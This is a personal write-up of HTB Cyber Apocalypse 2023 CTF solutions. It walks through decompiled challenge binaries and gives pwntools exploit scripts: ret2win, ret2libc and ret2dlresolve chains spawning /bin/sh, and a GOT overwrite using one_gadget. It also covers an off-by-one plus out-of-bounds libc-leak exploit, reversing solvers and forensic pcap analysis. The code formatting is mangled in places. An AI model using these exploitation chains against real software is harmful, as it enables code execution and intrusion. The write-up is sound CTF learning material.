I participated in a HTB CyberApocalypse CTF 2023 competition this CTF had several category cybersecurity challenges e.g. pwn, cryptography, reverse engineering, Hardware, forensic, crypto , blockchain and ML. It was an intense and exhilarating experience, and I’m excited to share my write-up of the challenges i solved and how i approached them.
Although i am too late for this write-up as i am good in prolonging things ;) but Better late than never, as i am trying to be good at pwn my first approach is to solve pwn challenges and then rev but i tried to solve some other remaining categories challenge as well.
1 undefined8 main(void) 2 3 { 4int iVar1; 5 undefined8 local_38; 6 undefined8 local_30; 7 undefined8 local_28; 8 undefined8 local_20; 9char *local_18; 10 ulong local_10; 11 12 setup(); 13 banner(); 14 local_38 = 0; 15 local_30 = 0; 16 local_28 = 0; 17 local_20 = 0; 18 fwrite("\nSelect door: \n\n",1,0x10,stdout); 19for (local_10 = 1; local_10 < 0x65; local_10 = local_10 + 1) { 20if (local_10 < 10) { 21fprintf(stdout,"Door: 00%d ",local_10); 22 } 23else { 24if (local_10 < 100) { 25fprintf(stdout,"Door: 0%d ",local_10); 26 } 27else { 28fprintf(stdout,"Door: %d ",local_10); 29 } 30 } 31if ((local_10 % 10 == 0) && (local_10 != 0)) { 32putchar(10); 33 } 34 } 35 fwrite(&DAT_0040248f,1,4,stdout); 36 local_18 = (char *)malloc(0x10); 37 fgets(local_18,5,stdin); 38 iVar1 = strncmp(local_18,"69",2); 39if (iVar1 != 0) { 40 iVar1 = strncmp(local_18,"069",3); 41if (iVar1 != 0) goto LAB_004015da; 42 } 43 fwrite("\nYou are heading to open the door but you suddenly see something on the wall:\n\n\"Fly like a bird and be free!\"\n\nWould you like to change the door you chose?\n\n>> " 44 ,1,0xa0,stdout); 45 fgets((char *)&local_38,0x44,stdin); 46 LAB_004015da: 47fprintf(stdout,"\n%s[-] YOU FAILED TO ESCAPE!\n\n",&DAT_00402541); 48return0; 49 }
at line number 38 variable local_18 that is user input being compared by 69 and if it is equal 69 call the fwrite function that is printing some message and at line number 45, fgets function being called but as you can see there is catch over there
The variable local_38 is declared as an undefined8 type, which is an 8-byte (64-bit) variable. However, in the fgets() function call, the size argument 0x44 (hexadecimal 44, decimal 68) specifies that fgets() should read up to 68 bytes from stdin and store them in the memory location starting at &local_38.
Since local_38 is only 8 bytes long, and fgets() can read up to 68 bytes, this means that fgets() can write up to 60 bytes beyond the end of local_38. This can lead to a buffer overflow, which can cause undefined behavior, including crashing the program, overwriting other variables, and executing arbitrary code.
so now we just have to find the offset of RIP and overwrite with some evil function if we have any, and yeah we have this binary contain never called function escape_plan
{ ssize_t sVar1; char local_d; int local_c; putchar(10); fwrite(&DAT_00402018,1,0x1f0,stdout); fprintf(stdout, "\n%sCongratulations on escaping! Here is a sacred spell to help you continue your journey: %s\n" ,&DAT_0040220e,&DAT_00402209); local_c = open("./flag.txt",0); if (local_c < 0) { perror("\nError opening flag.txt, please contact an Administrator.\n\n"); /* WARNING: Subroutine does not return */ exit(1); } while( true ) { sVar1 = read(local_c,&local_d,1); if (sVar1 < 1) break; fputc((int)local_d,stdout); } close(local_c); return; }
that print the flag so this is our target function, so lets write the exploit.
binary ask to choose the option, opening the box cause binary to exit and choosing second option prompt us to Insert location of the library, might be ret2libc attack where we have to have the address of libc function like system if this binary has buffer overflow okay okay lets just not make assumption for now, ask to ghidra.
1voidbox(void) 2 3 { 4 undefined8 local_38; 5 undefined8 local_30; 6 undefined8 local_28; 7 undefined8 local_20; 8long local_10; 9 10 local_38 = 0; 11 local_30 = 0; 12 local_28 = 0; 13 local_20 = 0; 14 fwrite("This is one of Pandora\'s mythical boxes!\n\nWill you open it or Return it to the Library for analysis?\n\n1. Open.\n2. Return.\n\n>> " 15 ,1,0x7e,stdout); 16 local_10 = read_num(); 17if (local_10 != 2) { 18fprintf(stdout,"%s\nWHAT HAVE YOU DONE?! WE ARE DOOMED!\n\n",&DAT_004021c7); 19/* WARNING: Subroutine does not return */ 20exit(0x520); 21 } 22 fwrite("\nInsert location of the library: ",1,0x21,stdout); 23 fgets((char *)&local_38,0x100,stdin); 24 fwrite("\nWe will deliver the mythical box to the Library for analysis, thank you!\n\n",1,0x4b, 25stdout); 26return; 27 }
hmm everything looks good until we reach the line number 23, same as previous challenge local_38 is undefined variable that is 8 byte , However fgets() function’s size argument is 0x100, 256 in decimal and again we got BOF.
but in case of this binary we do not have any evil/win function to redirect the execution flow directly by overwriting the RIP with. that means WE could perform ret2libc or ret2shell but as we have NX enabled in this binary uploading the shell on the stack is not possible
As for the ret2libc YES thumbs up!
Requirement for ret2libc
libc base address
system address (we would already have after leaking libc anyway)
/bin/sh address
we have been given libc so need to worry about libc verison
with log.progress("Step 1: Leak libc address, print the address of puts"): get_overflow() leak = leak_libc() log.info("Leaked puts: " + str(hex(leak))) libc.address = leak - 0x80ed0#libc.symbols['puts'] with log.progress("Step 2: use onegadget to get shell"): get_overflow()
system = libc.sym.system bin_sh = libc.search(b"/bin/sh").__next__()
payload=b"A"*56 payload+=p64(0x401016) # ret payload+=p64(0x40142b) # pop rdi payload+= p64(bin_sh) payload+= p64(system) p.sendline(payload) p.interactive()
Void
Description : The room goes dark and all you can see is a damaged terminal. Hack into it to restore the power and find your way out.
this challenge made me scratch my head, but after getting some nudges from someone on discord i blamed by myself to being a lazy skipping the hands on and just having oral look up while learning new things.
binary doesn’t output any thing just take user input and goes dark, lets see on ghidra
so binary only have main and vuln function to our interest vuln have buffer overflow vuln as read function is taking more than it suppose to, okay but all good here till now i though it would same as previous one we would have to perform libc2libc technique
but when i started debugging binary to see which function is being call/used from libc so that i can leak address and calculate base of libc
there are not any, except read and despite i knew that i cant leak with read function i tried to search any previous challenges or writeup to see if in case there is any way to leak libc from read function only but no use
SO ret2libc with ret2csu ?
no, although we have gadgets we are require to have libc function i.e. puts, printf here also, so we cant either ret2libc or chain ret2csu + ret2libc
as i knew i could solve the challenge just needed hint to solve the challenge hint like technique we can use to solve this cahllenge i seek for help where i am reminded ret2dlresolve technique.
The ret2dlresolve technique leverages the dynamic linker/loader functionality of a program to execute arbitrary code. and is typically employed when the program does not contain any useful functions like puts or printf in our case or gadgets that can be used to achieve code execution.
named “ret2dlresolve” as it involves overwriting the return address on the stack to point to a “resolve” function in the dynamic linker (usually __dl_resolve) rather than returning to the original calling function. The __dl_resolve function is responsible for resolving and loading shared library dependencies at runtime.
so basially During a ret2dlresolve, we tricks the binary into resolving a function of our choice (such as system) into the PLT. This means we can use the PLT function as if it was originally part of the binary, bypassing ASLR (if present) and requiring no libc leaks.
for i inrange(1, 100): try: context.arch = "amd64" elf = context.binary = ELF('./void', checksec=False) p = elf.process()
#p = remote('104.248.169.177',31673)
rop = ROP(elf)
# create the dlresolve object dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop.raw('A' * 72) rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures rop.ret2dlresolve(dlresolve) # call .plt and dl-resolve() with the correct, calculated reloc_offset
log.info(rop.dump())
p.sendline(rop.chain()) p.sendline(dlresolve.payload) # now the read is called and we pass all the relevant structures in
later i got to know the another way to solve this challenge from writeup after end of CTF it is cool and efficient way exploit binary (atleast for me) lets understand how.
while searching for gadgets there are some interesting gadgets that we can leverage to exploit binary
1 2 3 4
0x00401108: add [rbp-0x3d], ebx; nop [rax+rax]; ret; ........ ........ 0x004011b2: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
use ropr by Ben-Lichtman as i was having problem to get these gadgets with ropper and ROPgadget i don’t why?
The instruction “add [rbp-0x3d], ebx” performs an addition operation between the value in the register “ebx” and the value at the memory address pointed to by the register “rbp” minus 0x3d (61 in decimal).
In other words, this instruction adds the value in “ebx” to the value stored at the address “rbp-0x3d” in memory. The result is then stored back at the same memory address.
“nop [rax+rax]” - This instruction is a no-operation (nop), which means it does nothing. so it wont bother us.
if we manage control the rbp-0x3d memory location and ebx register we can write any target function at rbp-0x3d memory location with ebx register, for that we have need gadgets to control the rbp and rbx register and we have got see above codeblock.
so what we will be doing is first off, parse the read@got addr to rbp register with adding 0x3d extra byte so that we can get exact addr of read@got (rbp-0x3d) + 0x3d) and then parse the target address to rbx register. YES we are doing GOT overwrite here, since we would have overwritten read@got addr on got table calling read func next time will jump to the target address we overwritten. 😉
since the addresses of the functions in the GOT table are fixed as we PIE disabled here, hence we know the exact address of the function we want to overwrite in the GOT table. In PIE-enabled binaries, the addresses of the functions in the GOT table are randomized at runtime, making it much more difficult to know the exact address of the function to overwrite.
and target address we are going to overwrite read@got with is one_gadget
we have to Keep an eye on constraints of one_gadget address as we have already control on r12 and r13 register
1
0x004011b2: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
here 0xfffdce9a is negative representation of one_gagdget offet as we are using add gadget so if we want to decrease to reach read GOT we have to add with negative value same as 0xc961a - libc.sym[‘read’]
Control Room
couldn’t solve this challenge at competition time. However, after reading wirteup found so interesting that couldn’t stop me to write own one.
binary has several of function with full of bugs that need to be chain together to gain shell, we have to analyze it sequentially
lets run the binary and have static look
make sure to patch the binary first
asking for username registration, confirmation and have roles and function accordingly and current role is set to Crew
if we want to change the username binary ask for new username size that can’t be larger than the current username and also cant choose any option as it require role to technician and captain accordingly.
{ int iVar1; size_t sVar2; long in_FS_OFFSET; undefined4 local_14; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setup(); local_14 = 0; user_register(); printf("\nAre you sure about your username choice? (y/n)"); printf("\n> "); fgets((char *)&local_14,4,stdin); sVar2 = strcspn((char *)&local_14,"\n"); *(undefined *)((long)&local_14 + sVar2) = 0; iVar1 = strcmp((char *)&local_14,"y"); if (iVar1 == 0) { log_message(0,"User registered successfully.\n"); } else { user_edit(); } menu(); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return0; }
in main first setup and user_register being called and then if user choice is “n” user_edit function and finally menu function , let analyse one by one
The engines array is initialized to all 0’s, with a length of 0x80 (128 bytes). Next, a block of memory is allocated with the malloc() function, with a size of 0x110 (272 bytes). The address of the allocated block is stored in the curr_user pointer.
the value 2 is stored in the allocated block of memory, starting at an offset of 0x100.
Overall, this code sets up some basic memory and I/O configurations for a program, and allocates a block of memory for storing some user data.
{ size_t sVar1; long in_FS_OFFSET; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("<===[ Register ]===>\n"); printf("Enter a username: "); read_input(&local_118,0x100); strncpy(curr_user,(char *)&local_118,0x100); sVar1 = strlen(curr_user); *(size_t *)(curr_user + 0x108) = sVar1 + 1; if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
this function read the given username and store it to address pointed by local_188 vairable which is of 0x100(256) size and then username is being copied to global username curr_user as well as as length of the username string plus one at an offset of 0x108 bytes from the start of the curr_user buffer
{ int user_length; char *buf; size_t idx; puts("<===[ Edit Username ]===>\n"); printf("New username size: "); user_length = read_num(); getchar(); if (*(ulong *)(curr_user + 0x108) < (ulong)(long)user_length) { log_message(3,"Can\'t be larger than the current username.\n"); } else { buf = (char *)malloc((long)(user_length + 1)); if (buf == (char *)0x0) { log_message(3,"Please replace the memory catridge."); /* WARNING: Subroutine does not return */ exit(-1); } memset(buf,0,(long)(user_length + 1)); printf("\nEnter your new username: "); fgets(buf,user_length,stdin); idx = strcspn(buf,"\n"); buf[idx] = '\0'; strncpy(curr_user,buf,(long)(user_length + 1)); log_message(0,"User updated successfully!\n"); free(buf); } return; }
function user_edit is responsible for allowing a user to edit their username.
working of this funciton :
initially it ask for size of new username that being stored in user_length variable by read_num function
condition to verify user_length cant be larger than current username(as you can see “curr_user + 0x108” is lenght of curr_user itself i.e. current username)
allocate block of memory(user_length+1) to char array buf
and then memset functionset “user_length + 1” bytes of memory starting from the address pointed to by “buf” to zero.
we have Off By One bug in this block of code, if you see at if condition it only check user_length shouldn’t be greater than curr_user but can be equal i.e. 0x100(256). as curr_user size is 0x100 itself while setting the “user_length + 1” number of zero’s to buf at memset function it is going to set 257 byte of null, which mean it will write one null byte beyond the curr_user username that allows us to switch our role from Crew to Captain lets see how
{ int iVar1; iVar1 = *(int *)(curr_user + 0x100); if (iVar1 == 2) { log_message(1,"Current Role: Crew\n"); } else { if (2 < iVar1) { LAB_00401fd1: log_message(3,"How did you get here?!\n"); /* WARNING: Subroutine does not return */ exit(0x539); } if (iVar1 == 0) { log_message(1,"Current Role: Captain\n"); } else { if (iVar1 != 1) goto LAB_00401fd1; log_message(1,"Current Role: Technician\n"); } } return; }
function first reads the value of the “curr_user” global variable at offset 0x100, so if you remember in function setup “curr_user + 0x100” is assigned to 2. It then uses a series of if/else statements to determine the user’s role based on the value of this integer.
If the integer value is equal to 2, the function logs a message indicating that the user’s current role is “Crew”. If the integer value is equal to 0, the function logs a message indicating that the user’s current role is “Captain”. If the integer value is equal to 1, the function logs a message indicating that the user’s current role is “Technician”.
so if “curr+user + 0x100” is
0 => Captain
1 => Technician
2 => Crew - current role
Using Off-ByOne write we can set “curr_user + 0x100” to 0 i.e. Captain
{ uint num; int iVar1; size_t sVar2; long in_FS_OFFSET; undefined8 local_28; undefined8 local_20; undefined2 local_13; undefined local_11; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_13 = 0; local_11 = 0; if (*(int *)(curr_user + 0x100) == 1) { printf("\nEngine number [0-%d]: ",3); num = read_num(); if ((int)num < 4) { printf("Engine [%d]: \n",(ulong)num); printf("\tThrust: "); __isoc99_scanf(&DAT_0040330e,&local_28); printf("\tMixture ratio: "); __isoc99_scanf(&DAT_0040330e,&local_20); } getchar(); printf("\nDo you want to save the configuration? (y/n) "); printf("\n> "); fgets((char *)&local_13,3,stdin); sVar2 = strcspn((char *)&local_13,"\n"); *(undefined *)((long)&local_13 + sVar2) = 0; iVar1 = strcmp((char *)&local_13,"y"); if (iVar1 == 0) { *(undefined8 *)(engines + (long)(int)num * 0x10) = local_28; *(undefined8 *)(engines + (long)(int)num * 0x10 + 8) = local_20; log_message(0,"Engine configuration updated successfully!\n"); } else { log_message(1,"Engine configuration cancelled.\n"); } } else { log_message(3,"Only technicians are allowed to configure the engines"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
as this function about engine we need to switch Technician role, the undefined8 data type used for local_28 and local_20 can hold both signed and unsigned values, as it is an undefined data type that represents an 8-byte (64-bit) value whose purpose or contents are unknown or undefined, resulting in an out-of-bounds write (precisely, buffer underflow write if i am not wrong) to the address preceding the engines.
{ int iVar1; size_t sVar2; long in_FS_OFFSET; int i; undefined8 local_58 [4]; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined2 local_13; undefined local_11; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_13 = 0; local_11 = 0; if (*(int *)(curr_user + 0x100) == 0) { for (i = 0; i < 4; i = i + 1) { printf("<===[ Coordinates [%d] ]===>\n",(ulong)(i + 1)); printf("\tLatitude : "); __isoc99_scanf(&DAT_0040330e,local_58 + (long)i * 2); printf("\tLongitude : "); __isoc99_scanf(&DAT_0040330e); } getchar(); printf("\nDo you want to save the route? (y/n) "); printf("\n> "); fgets((char *)&local_13,3,stdin); sVar2 = strcspn((char *)&local_13,"\n"); *(undefined *)((long)&local_13 + sVar2) = 0; iVar1 = strcmp((char *)&local_13,"y"); if (iVar1 == 0) { route._0_8_ = local_58[0]; route._8_8_ = local_58[1]; route._16_8_ = local_58[2]; route._24_8_ = local_58[3]; route._32_8_ = local_38; route._40_8_ = local_30; route._48_8_ = local_28; route._56_8_ = local_20; log_message(0,"The route has been successfully updated!\n"); } else { log_message(1,"Operation cancelled"); } } else { log_message(3,"Only the captain is allowed to change the ship\'s route\n"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
Only accessible by Captain. This function contains two errors. The first issue is with how it scans input values. If an invalid input is entered while calling __isoc99_scanf(&DAT_0040330e,local_58 + (long)i * 2); and __isoc99_scanf(&DAT_0040330e); (such as entering a non-numeric character), the scanf function will skip and move to the next line of code. The second problem is that there is no error handling mechanism in place to deal with failed scans, which means that even if the scanf fails, the function will still copy the value stored in the stack to the route variable.
it is apparent that there is no procedure in place to remove the data from the stack prior to its utilization. This, in combination with the absence of a mechanism to handle failures in the scanf operation, means that it is feasible for the route value to be assigned with data from the stack. If we happen to be fortunate, this could contain some confidential information that must not be disclosed, such as a libc address. This kind of bug is called UDA (Uninitialied Data Access).
view_route function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
voidview_route(void)
{ int i; if (*(int *)(curr_user + 0x100) == 0) { puts("<===[ Route ]===>"); for (i = 0; i < 4; i = i + 1) { print_coordinates(i); } } else { log_message(3,"Only the captain is allowed to view the ship\'s route.\n"); } return; }
printing the all route value stored in the stack to the route variable in previous function.
{ int iVar1; if (*(int *)(curr_user + 0x100) == 0) { puts("<===[ Available roles ]===>"); puts("Technician: 1 | Crew: 2"); printf("New role: "); iVar1 = read_num(); if ((iVar1 == 1) || (iVar1 == 0)) { *(int *)(curr_user + 0x100) = iVar1; log_message(0,"New role has been set successfully!"); } else { log_message(3,"Invalid role."); } } else { log_message(3,"Only Captain is allowed to change roles.\n"); } return; }
Only accessible if (curr_user + 0x100) == 0) i.e Captain, Used to set new role.
All in once :
Off-By-One : We analyzed the user_edit function where we can manage to change the role to 0 i.e. Captain thus we would have changed our role to Captain 0 before menu function
Out-Of-Bound: bug in configure_engine where we can OOB Write for addresses before the address of engine
Uninitialised Data Access: bug in change_route possibly get the leak of libc in view_route function.
Exploitation strategies :
Need to leak libc using UDA bug in change_route function where will somehow pass the scanf function anticipating to we’ll get addr from libc
Calculate the base address of libc with leaked address
overwrite the GOT of leakd libc func to system function from libc using OOB write bug on configure_engine
pass the “sh” argument and gain the shell
Leaking the libc address
verifying this address by converting into hex we indeed able to leak libc address we can confirm it using gdb using
defconn(): if args.LOCAL: p = process([elf.path]) if args.PLT_DEBUG: gdb.attach(p, gdbscript=gdbscript) pause() else: p = remote(remote_url, remote_port)
return p
p = conn()
# Trigger the off-by-one bug p.send(b'a'*0x100) p.sendline(b'n') p.send(b'256') p.send(b'a'*0x100)
# Leak stack UDA, which contains libc address p.sendline(b'3') p.sendline(b'ay')
p.sendline(b'4')
p.interactive()
addr from Coordinates 1 Longitude point to libc function atoi+20
1 2
pwndbg> x 140611594499668 0x7fe2b0243654 <atoi+20>: 0x08c48348
so calculate the libc base we have to subtract it to libc.symbols.atoi+20
defconn(): if args.LOCAL: p = process([elf.path]) if args.PLT_DEBUG: gdb.attach(p, gdbscript=gdbscript) pause() else: p = remote(remote_url, remote_port)
return p
p = conn()
# Trigger the off-by-one bug p.send(b'a'*0x100) p.sendline(b'n') p.send(b'256') p.send(b'a'*0x100)
# Leak stack UDA, which contains libc address p.sendline(b'3') p.sendline(b'ay')
now we have libc base all we need to do is overwrite the GOT atoi with system using OOB write bug on configure_engine.
Note :
We have to calculate the negative index value to find the correct offset to point to the atoi address in configure_engine func
The purpose of including the value “0x401150” is to prevent our program from crashing. This is because during the configuration of the engine, we are required to write two entries, but we only need one to overwrite “atoi” with “system”. Therefore, we need to ensure that the second value we provide will not cause the program to crash.
defconn(): if args.LOCAL: r = process([exe.path]) if args.PLT_DEBUG: gdb.attach(r, gdbscript=gdbscript) pause() else: r = remote(remote_url, remote_port)
this challenge suppose to solve with angr but it did it manually using ChatGPT :p(as i didn’t know how to with angr) finding all variable’s value through this giant if condition is tremendious so i asked to CGPT to extract all these variable in descending order and create a list of their respective value and here is result :
{ int iVar1; undefined8 local_38; undefined8 local_30; undefined local_28; undefined8 local_1c; undefined4 local_14; char *local_10; local_10 = (char *)readline( "Okay, first, a warmup - what\'s the first password? This one\'s not even hidden: " ); iVar1 = strcmp(local_10,"PasswordNumeroUno"); if (iVar1 != 0) { puts("Not even close!"); /* WARNING: Subroutine does not return */ exit(-1); } free(local_10); local_1c = 0; local_14 = 0; reverse(&local_1c,t,0xb); local_10 = (char *)readline("Getting harder - what\'s the second password? "); iVar1 = strcmp(local_10,(char *)&local_1c); if (iVar1 != 0) { puts("You\'ve got it all backwards..."); /* WARNING: Subroutine does not return */ exit(-1); } free(local_10); local_38 = 0; local_30 = 0; local_28 = 0; xor(&local_38,t2,0x11,0x13); local_10 = (char *)readline("Your final test - give me the third, and most protected, password: ") ; iVar1 = strcmp(local_10,(char *)&local_38); if (iVar1 != 0) { puts("Failed at the final hurdle!"); /* WARNING: Subroutine does not return */ exit(-1); } free(local_10); return; }
so basically we are asked for three password first is already visible to us and have also got from strings command.
and in case of second password check first reverse function is called and then result/return value i.e local_1c of that function is being compared to user input i.e. local_10
we need to have param_2 value in order to know the third password as param_4 is being xored to this value and then return back to compare with user input
as you can see above radare graph view this value ‘G{zawR}wUz}r\x7f222\x13’ is param_2
defxor(param_1, param_2, param_3, param_4): result = '' for i inrange(param_3): if i < len(param_2): result += chr(ord(param_2[i]) ^ param_4) else: result += '\x00' return result
memcmp function before second for loop(ignore first) variable “t” being compared to value stored in user_input memory location if so then it being xored with vairable “m2” that makes our flag.
so we need “t” and “m2” to get the flag, through static analysis we can see the value of both var
Solve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
from pwn import *
t = b'\x2c\x4a\xb7\x99\xa3\xe5\x70\x78\x93\x6e\x97\xd9\x47\x6d\x38\xbd\xff\xbb\x85\x99\x6f\xe1\x4a\xab\x74\xc3\x7b\xa8\xb2\x9f\xd7\xec\xeb\xcd\x63\xb2\x39\x23\xe1\x84\x92\x96\x09\xc6\x99\xf2\x58\xfa\xcb\x6f\x6f\x5e\x1f\xbe\x2b\x13\x8e\xa5\xa9\x99\x93\xab\x8f\x70\x1c\xc0\xc4\x3e\xa6\xfe\x93\x35\x90\xc3\xc9\x10\xe9'
🙄 looks intimidating right? while competition i tried to to get the flag manually 😛, yeah it was silly However, script that i used for solving the Shattered tablet worked for this challenge as well just change the target address
solution_state = simulation.found[0] print(solution_state.posix.dumps(sys.stdin.fileno()).decode()) else: raise Exception('Could not find the solution')
if __name__ == '__main__': main(sys.argv)
Forensic
Plaintext Tleasure
Threat intelligence has found that the aliens operate through a command and control server hosted on their infrastructure. Pandora managed to penetrate their defenses and have access to their internal network. Because their server uses HTTP, Pandora captured the network traffic to steal the server’s administrator credentials. Open the provided file using Wireshark, and locate the username and password of the admin.
filtering the traffic to http and following through TCP stream at stream 4 we found FLAG
Alien Cradle
given powershell file that contain flag itself
Extraterrestrial Persistence
given shell script that writting some base64 strings to somewhere in system that contain flag as Description
Rotten
The iMoS is responsible for collecting and analyzing targeting data across various galaxies. The data is collected through their webserver, which is accessible to authorized personnel only. However, the iMoS suspects that their webserver has been compromised, and they are unable to locate the source of the breach. They suspect that some kind of shell has been uploaded, but they are unable to find it. The iMoS have provided you with some network data to analyse, its up to you to save us.
By reading Description it seems like we have to look for the shell that has uploaded as webserver has been compromised
as previous pcap challenge i started inspecting through tcp stream but nothing usefull after checking for a while, as shell upploaded on webserver it must be likely php file and we can export all file being transfered via Export Objects.
so started searching for any promising file name as there was lots of file it took time and finally i came across “map-update.php” file it has several file with same name but the size with 7,178 bytes was interesting.
it seems obfuscated, However after deobfuscate it didn’t change going through the code i looks like this gibberish value are being cocatinated one after another and finally printed
running php file
it found dificulty with eval() function so i changed it to echo as its used for printing the content and after running the file it indeed worked and got flag in file.
Misc
Persistence
The aim of this task was to create a program that can automatically send a large number of requests (around one thousand) to an endpoint called /flag. Eventually, the endpoint will respond with the correct flag. The following script can be utilized for this purpose.
1 2 3 4 5 6
#!/bin/bash
for ((i=0;i<1200;i++)) do curl -s -X GET http://142.93.35.133:32034/flag done
Janken
this challenge has Rock-Paper-Scissor game on server and we have to win the game for 100(around i don’t remeber ) times in streak, However program had bug we made able to bypass the input validation by entering all word at once.
p = remote('64.227.41.83',30145) p.sendline("1") info("Wait till you get the flag :) ") for i inrange(100): step = 100-i print("{} step closer to your flag".format(step)) #recieve input interface p.recv() #time.sleep(1) p.sendline("rockpaperscissors")
p.recvuntil('prize: ') flag = p.recv() os.system("clear") success("\n\n\tflag : {}".format(flag)) #p.interactive()